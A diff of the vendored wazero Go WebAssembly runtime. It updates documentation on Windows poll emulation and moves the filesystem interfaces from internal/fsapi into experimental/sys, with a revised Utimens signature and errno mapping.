`sysfs.poll()` cannot be delegated to a single syscall, because there is no single syscall to handle sockets, pipes and regular files. Instead, we emulate its behavior for the cases that are currently -of interest. +of interest. - For regular files, we _always_ report them as ready, as [most operating systems do anyway][async-io-windows]. -- For pipes, we iterate on the given `readfds` -and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore -`writefds` and `exceptfds` for pipes. In particular, -`Stdin`, when present, is set to the `readfds` FdSet. +- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe] +for each file handle we detect is a pipe open for reading. +We currently ignore pipes open for writing. - Notably, we include also support for sockets using the [WinSock -implementation of `select`][winsock-select], but instead -of relying on the timeout argument of the `select` function, +implementation of `poll`][wsapoll], but instead +of relying on the timeout argument of the `WSAPoll` function, we set a 0-duration timeout so that it behaves like a peek. This way, we can check for regular files all at once, -at the beginning of the function, then we poll pipes and +at the beginning of the function, then we poll pipes and sockets periodically using a cancellable `time.Tick`, which plays nicely with the rest of the Go runtime. +### Impact of blocking + +Because this is a blocking syscall, it will also block the carrier thread of +the goroutine, preventing any means to support context cancellation directly. + +There are ways to obviate this issue. We outline here one idea, that is however +not currently implemented. A common approach to support context cancellation is +to add a signal file descriptor to the set, e.g. the read-end of a pipe or an +eventfd on Linux. When the context is canceled, we may unblock a Select call by +writing to the fd, causing it to return immediately. This however requires to +do a bit of housekeeping to hide the "special" FD from the end-user. + [poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff [async-io-windows]: https://tinyclouds.org/iocp_links [peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select +[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll ## Signed encoding of integer global constant initializers diff --git a/vendor/github.com/tetratelabs/wazero/config.go b/vendor/github.com/tetratelabs/wazero/config.go index 8fcfb5fa2b..70219b055f 100644 --- a/vendor/github.com/tetratelabs/wazero/config.go +++ b/vendor/github.com/tetratelabs/wazero/config.go @@ -11,10 +11,10 @@ import ( "time" "github.com/tetratelabs/wazero/api" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/engine/compiler" "github.com/tetratelabs/wazero/internal/engine/interpreter" "github.com/tetratelabs/wazero/internal/filecache" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/platform" internalsock "github.com/tetratelabs/wazero/internal/sock" @@ -846,7 +846,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) { environ = append(environ, result) } - var fs []fsapi.FS + var fs []experimentalsys.FS var guestPaths []string if f, ok := c.fsConfig.(*fsConfig); ok { fs, guestPaths = f.preopens() diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go similarity index 62% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go index 6e99b1b5d0..0b997cb8fc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go @@ -1,11 +1,9 @@ -package fsapi +package sys import ( "fmt" "io/fs" - "time" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" ) @@ -22,7 +20,7 @@ type FileType = fs.FileMode // - This extends `dirent` defined in POSIX with some fields defined by // Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html -// - This has a subset of fields defined in Stat_t. Notably, there is no +// - This has a subset of fields defined in sys.Stat_t. Notably, there is no // field corresponding to Stat_t.Dev because that value will be constant // for all files in a directory. To get the Dev value, call File.Stat on // the directory File.Readdir was called on. @@ -59,51 +57,36 @@ func (DirFile) IsAppend() bool { } // SetAppend implements File.SetAppend -func (DirFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.EISDIR -} - -// IsNonblock implements File.IsNonblock -func (DirFile) IsNonblock() bool { - return false -} - -// SetNonblock implements File.SetNonblock -func (DirFile) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.EISDIR +func (DirFile) SetAppend(bool) Errno { + return EISDIR } // IsDir implements File.IsDir -func (DirFile) IsDir() (bool, experimentalsys.Errno) { +func (DirFile) IsDir() (bool, Errno) { return true, 0 } // Read implements File.Read -func (DirFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Read([]byte) (int, Errno) { + return 0, EISDIR } // Pread implements File.Pread -func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// PollRead implements File.PollRead -func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS +func (DirFile) Pread([]byte, int64) (int, Errno) { + return 0, EISDIR } // Write implements File.Write -func (DirFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Write([]byte) (int, Errno) { + return 0, EISDIR } // Pwrite implements File.Pwrite -func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Pwrite([]byte, int64) (int, Errno) { + return 0, EISDIR } // Truncate implements File.Truncate -func (DirFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.EISDIR +func (DirFile) Truncate(int64) Errno { + return EISDIR } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go new file mode 100644 index 0000000000..f8f2e5b128 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go @@ -0,0 +1,317 @@ +package sys + +import "github.com/tetratelabs/wazero/sys" + +// File is a writeable fs.File bridge backed by syscall functions needed for ABI +// including WASI and runtime.GOOS=js. +// +// Implementations should embed UnimplementedFile for forward compatability. Any +// unsupported method or parameter should return ENOSYS. +// +// # Errors +// +// All methods that can return an error return a Errno, which is zero +// on success. +// +// Restricting to Errno matches current WebAssembly host functions, +// which are constrained to well-known error codes. For example, `GOOS=js` maps +// hard coded values and panics otherwise. More commonly, WASI maps syscall +// errors to u32 numeric values. +// +// # Notes +// +// - You must call Close to avoid file resource conflicts. For example, +// Windows cannot delete the underlying directory while a handle to it +// remains open. +// - A writable filesystem abstraction is not yet implemented as of Go 1.20. +// See https://github.com/golang/go/issues/45757 +type File interface { + // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or + // an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Ino can implement os.SameFile. + Dev() (uint64, Errno) + + // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown + // or an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Dev can implement os.SameFile. + Ino() (sys.Inode, Errno) + + // IsDir returns true if this file is a directory or an error there was an + // error retrieving this information. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. false should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + IsDir() (bool, Errno) + + // IsAppend returns true if the file was opened with O_APPEND, or + // SetAppend was successfully enabled on this file. + // + // # Notes + // + // - This might not match the underlying state of the file descriptor if + // the file was not opened via OpenFile. + IsAppend() bool + + // SetAppend toggles the append mode (O_APPEND) of this file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may + // have to re-open the underlying file to apply this. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html + SetAppend(enable bool) Errno + + // Stat is similar to syscall.Fstat. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html + // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the + // same value. + // - Windows allows you to stat a closed directory. + Stat() (sys.Stat_t, Errno) + + // Read attempts to read all bytes in the file into `buf`, and returns the + // count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.Reader and `read` in POSIX, preferring semantics of + // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html + // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Read(buf []byte) (n int, errno Errno) + + // Pread attempts to read all bytes in the file into `p`, starting at the + // offset `off`, and returns the count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics + // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html + // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Pread(buf []byte, off int64) (n int, errno Errno) + + // Seek attempts to set the next offset for Read or Write and returns the + // resulting absolute offset or an error. + // + // # Parameters + // + // The `offset` parameters is interpreted in terms of `whence`: + // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets + // the next Read or Write to the beginning of the file. + // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets + // the next Read or Write 16 bytes past the prior. + // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the + // next Read or Write to the last byte in the file. + // + // # Behavior when a directory + // + // The only supported use case for a directory is seeking to `offset` zero + // (`whence` = io.SeekStart). This should have the same behavior as + // os.File, which resets any internal state used by Readdir. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // + // # Notes + // + // - This is like io.Seeker and `fseek` in POSIX, preferring semantics + // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html + Seek(offset int64, whence int) (newOffset int64, errno Errno) + + // Readdir reads the contents of the directory associated with file and + // returns a slice of up to n Dirent values in an arbitrary order. This is + // a stateful function, so subsequent calls return any next values. + // + // If n > 0, Readdir returns at most n entries or an error. + // If n <= 0, Readdir returns all remaining entries or an error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed or not a directory. + // - ENOENT: the directory could not be read (e.g. deleted). + // + // # Notes + // + // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html + // - Unlike os.File, there is no io.EOF returned on end-of-directory. To + // read the directory completely, the caller must repeat until the + // count read (`len(dirents)`) is less than `n`. + // - See /RATIONALE.md for design notes. + Readdir(n int) (dirents []Dirent, errno Errno) + + // Write attempts to write all bytes in `p` to the file, and returns the + // count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed, not writeable, or a directory. + // + // # Notes + // + // - This is like io.Writer and `write` in POSIX, preferring semantics of + // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html + Write(buf []byte) (n int, errno Errno) + + // Pwrite attempts to write all bytes in `p` to the file at the given + // offset `off`, and returns the count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not writeable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics + // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html + Pwrite(buf []byte, off int64) (n int, errno Errno) + + // Truncate truncates a file to a specified length. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // - EINVAL: the `size` is negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html + // - Windows does not error when calling Truncate on a closed file. + Truncate(size int64) Errno + + // Sync synchronizes changes to the file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fsync and `fsync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - Windows does not error when calling Sync on a closed file. + Sync() Errno + + // Datasync synchronizes the data of a file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - As this is commonly missing, some implementations dispatch to Sync. + Datasync() Errno + + // Utimens set file access and modification times of this file, at + // nanosecond precision. + // + // # Parameters + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.UtimesNano and `futimens` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html + // - Windows requires files to be open with O_RDWR, which means you + // cannot use this to update timestamps on a directory (EPERM). + Utimens(atim, mtim int64) Errno + + // Close closes the underlying file. + // + // A zero Errno is returned if unimplemented or success. + // + // # Notes + // + // - This is like syscall.Close and `close` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html + Close() Errno +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go similarity index 67% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go index 50bf61687d..1ce99cef18 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go @@ -1,10 +1,8 @@ -package fsapi +package sys import ( "io/fs" - "syscall" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" ) @@ -34,11 +32,11 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` or `flag` is invalid. - // - sys.EISDIR: the path was a directory, but flag included O_RDWR or + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` or `flag` is invalid. + // - EISDIR: the path was a directory, but flag included O_RDWR or // O_WRONLY - // - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. + // - ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT. // // # Constraints on the returned file // @@ -59,15 +57,15 @@ type FS interface { // - Implications of permissions when O_CREAT are described in Chmod notes. // - This is like `open` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) + OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) // Lstat gets file status without following symbolic links. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. // // # Notes // @@ -79,15 +77,15 @@ type FS interface { // same value. // - When the path is a symbolic link, the stat returned is for the link, // not the file it refers to. - Lstat(path string) (sys.Stat_t, experimentalsys.Errno) + Lstat(path string) (sys.Stat_t, Errno) // Stat gets file status. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.ENOENT: `path` doesn't exist. + // - ENOSYS: the implementation does not support this function. + // - ENOENT: `path` doesn't exist. // // # Notes // @@ -99,17 +97,17 @@ type FS interface { // same value. // - When the path is a symbolic link, the stat returned is for the file // it refers to. - Stat(path string) (sys.Stat_t, experimentalsys.Errno) + Stat(path string) (sys.Stat_t, Errno) // Mkdir makes a directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. // // # Notes // @@ -118,16 +116,16 @@ type FS interface { // - This is like `mkdir` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html // - Implications of permissions are described in Chmod notes. - Mkdir(path string, perm fs.FileMode) experimentalsys.Errno + Mkdir(path string, perm fs.FileMode) Errno // Chmod changes the mode of the file. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` does not exist. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` does not exist. // // # Notes // @@ -138,19 +136,19 @@ type FS interface { // - Windows ignores the execute bit, and any permissions come back as // group and world. For example, chmod of 0400 reads back as 0444, and // 0700 0666. Also, permissions on directories aren't supported at all. - Chmod(path string, perm fs.FileMode) experimentalsys.Errno + Chmod(path string, perm fs.FileMode) Errno // Rename renames file or directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `from` or `to` is invalid. - // - sys.ENOENT: `from` or `to` don't exist. - // - sys.ENOTDIR: `from` is a directory and `to` exists as a file. - // - sys.EISDIR: `from` is a file and `to` exists as a directory. - // - sys.ENOTEMPTY: `both from` and `to` are existing directory, but + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `from` or `to` is invalid. + // - ENOENT: `from` or `to` don't exist. + // - ENOTDIR: `from` is a directory and `to` exists as a file. + // - EISDIR: `from` is a file and `to` exists as a directory. + // - ENOTEMPTY: `both from` and `to` are existing directory, but // `to` is not empty. // // # Notes @@ -160,18 +158,18 @@ type FS interface { // - This is like `rename` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html // - Windows doesn't let you overwrite an existing directory. - Rename(from, to string) experimentalsys.Errno + Rename(from, to string) Errno // Rmdir removes a directory. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.ENOTDIR: `path` exists, but isn't a directory. - // - sys.ENOTEMPTY: `path` exists, but isn't empty. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - ENOTDIR: `path` exists, but isn't a directory. + // - ENOTEMPTY: `path` exists, but isn't empty. // // # Notes // @@ -179,18 +177,18 @@ type FS interface { // file system. // - This is like `rmdir` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html - // - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT. - Rmdir(path string) experimentalsys.Errno + // - As of Go 1.19, Windows maps ENOTDIR to ENOENT. + Rmdir(path string) Errno // Unlink removes a directory entry. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.ENOENT: `path` doesn't exist. - // - sys.EISDIR: `path` exists, but is a directory. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - ENOENT: `path` doesn't exist. + // - EISDIR: `path` exists, but is a directory. // // # Notes // @@ -201,7 +199,7 @@ type FS interface { // - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might // want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya - Unlink(path string) experimentalsys.Errno + Unlink(path string) Errno // Link creates a "hard" link from oldPath to newPath, in contrast to a // soft link (via Symlink). @@ -209,10 +207,10 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` is invalid. - // - sys.ENOENT: `oldPath` doesn't exist. - // - sys.EISDIR: `newPath` exists, but is a directory. + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` is invalid. + // - ENOENT: `oldPath` doesn't exist. + // - EISDIR: `newPath` exists, but is a directory. // // # Notes // @@ -220,7 +218,7 @@ type FS interface { // file system. // - This is like `link` in POSIX. See // https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html - Link(oldPath, newPath string) experimentalsys.Errno + Link(oldPath, newPath string) Errno // Symlink creates a "soft" link from oldPath to newPath, in contrast to a // hard link (via Link). @@ -228,9 +226,9 @@ type FS interface { // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EPERM: `oldPath` or `newPath` is invalid. - // - sys.EEXIST: `newPath` exists. + // - ENOSYS: the implementation does not support this function. + // - EPERM: `oldPath` or `newPath` is invalid. + // - EEXIST: `newPath` exists. // // # Notes // @@ -244,17 +242,17 @@ type FS interface { // See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 // for how others implement this. // - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`. - // Otherwise, sys.EPERM results. + // Otherwise, EPERM results. // See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links - Symlink(oldPath, linkName string) experimentalsys.Errno + Symlink(oldPath, linkName string) Errno // Readlink reads the contents of a symbolic link. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. // // # Notes // @@ -265,32 +263,31 @@ type FS interface { // - On Windows, the path separator is different from other platforms, // but to provide consistent results to Wasm, this normalizes to a "/" // separator. - Readlink(path string) (string, experimentalsys.Errno) + Readlink(path string) (string, Errno) // Utimens set file access and modification times on a path relative to // this file system, at nanosecond precision. // // # Parameters // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT - // may be specified instead of real timestamps. A nil `times` parameter - // behaves the same as if both were set to UTIME_NOW. If the path is a - // symbolic link, the target of expanding that link is updated. + // If the path is a symbolic link, the target of expanding that link is + // updated. + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. // // # Errors // // A zero Errno is success. The below are expected otherwise: - // - sys.ENOSYS: the implementation does not support this function. - // - sys.EINVAL: `path` is invalid. - // - sys.EEXIST: `path` exists and is a directory. - // - sys.ENOTDIR: `path` exists and is a file. + // - ENOSYS: the implementation does not support this function. + // - EINVAL: `path` is invalid. + // - EEXIST: `path` exists and is a directory. + // - ENOTDIR: `path` exists and is a file. // // # Notes // // - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno - // TODO: change impl to not use syscall package, - // possibly by being just a pair of int64s.. + Utimens(path string, atim, mtim int64) Errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go similarity index 99% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go index eac4fc9874..39ebd378f6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go @@ -1,4 +1,4 @@ -package fsapi +package sys // Oflag are flags used for FS.OpenFile. Values, including zero, should not be // interpreted numerically. Instead, use by constants prefixed with 'O_' with diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go index aa6eb23d80..23c4be9283 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go @@ -1,51 +1,57 @@ +//go:build !plan9 + package sys import "syscall" -func syscallToErrno(errno syscall.Errno) Errno { +func syscallToErrno(err error) (Errno, bool) { + errno, ok := err.(syscall.Errno) + if !ok { + return 0, false + } switch errno { case 0: - return 0 + return 0, true case syscall.EACCES: - return EACCES + return EACCES, true case syscall.EAGAIN: - return EAGAIN + return EAGAIN, true case syscall.EBADF: - return EBADF + return EBADF, true case syscall.EEXIST: - return EEXIST + return EEXIST, true case syscall.EFAULT: - return EFAULT + return EFAULT, true case syscall.EINTR: - return EINTR + return EINTR, true case syscall.EINVAL: - return EINVAL + return EINVAL, true case syscall.EIO: - return EIO + return EIO, true case syscall.EISDIR: - return EISDIR + return EISDIR, true case syscall.ELOOP: - return ELOOP + return ELOOP, true case syscall.ENAMETOOLONG: - return ENAMETOOLONG + return ENAMETOOLONG, true case syscall.ENOENT: - return ENOENT + return ENOENT, true case syscall.ENOSYS: - return ENOSYS + return ENOSYS, true case syscall.ENOTDIR: - return ENOTDIR + return ENOTDIR, true case syscall.ENOTEMPTY: - return ENOTEMPTY + return ENOTEMPTY, true case syscall.ENOTSOCK: - return ENOTSOCK + return ENOTSOCK, true case syscall.ENOTSUP: - return ENOTSUP + return ENOTSUP, true case syscall.EPERM: - return EPERM + return EPERM, true case syscall.EROFS: - return EROFS + return EROFS, true default: - return EIO + return EIO, true } } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go index 56c8441d95..8a88ed7658 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go @@ -2,15 +2,12 @@ package sys -import "syscall" - func errorToErrno(err error) Errno { - switch err := err.(type) { - case Errno: - return err - case syscall.Errno: - return syscallToErrno(err) - default: - return EIO + if errno, ok := err.(Errno); ok { + return errno + } + if errno, ok := syscallToErrno(err); ok { + return errno } + return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go new file mode 100644 index 0000000000..0e454f0acb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go @@ -0,0 +1,5 @@ +package sys + +func syscallToErrno(err error) (Errno, bool) { + return 0, false +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go index 4c512133a4..761a1f9dc2 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go @@ -54,7 +54,8 @@ func errorToErrno(err error) Errno { case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME: return EINVAL } - return syscallToErrno(err) + errno, _ := syscallToErrno(err) + return errno default: return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go new file mode 100644 index 0000000000..4f3e01fefb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go @@ -0,0 +1,10 @@ +package sys + +import "math" + +// UTIME_OMIT is a special constant for use in updating times via FS.Utimens +// or File.Utimens. When used for atim or mtim, the value is retained. +// +// Note: This may be implemented via a stat when the underlying filesystem +// does not support this value. +const UTIME_OMIT int64 = math.MinInt64 diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go new file mode 100644 index 0000000000..d853d9e8f4 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go @@ -0,0 +1,160 @@ +package sys + +import ( + "io/fs" + + "github.com/tetratelabs/wazero/sys" +) + +// UnimplementedFS is an FS that returns ENOSYS for all functions, +// This should be embedded to have forward compatible implementations. +type UnimplementedFS struct{} + +// OpenFile 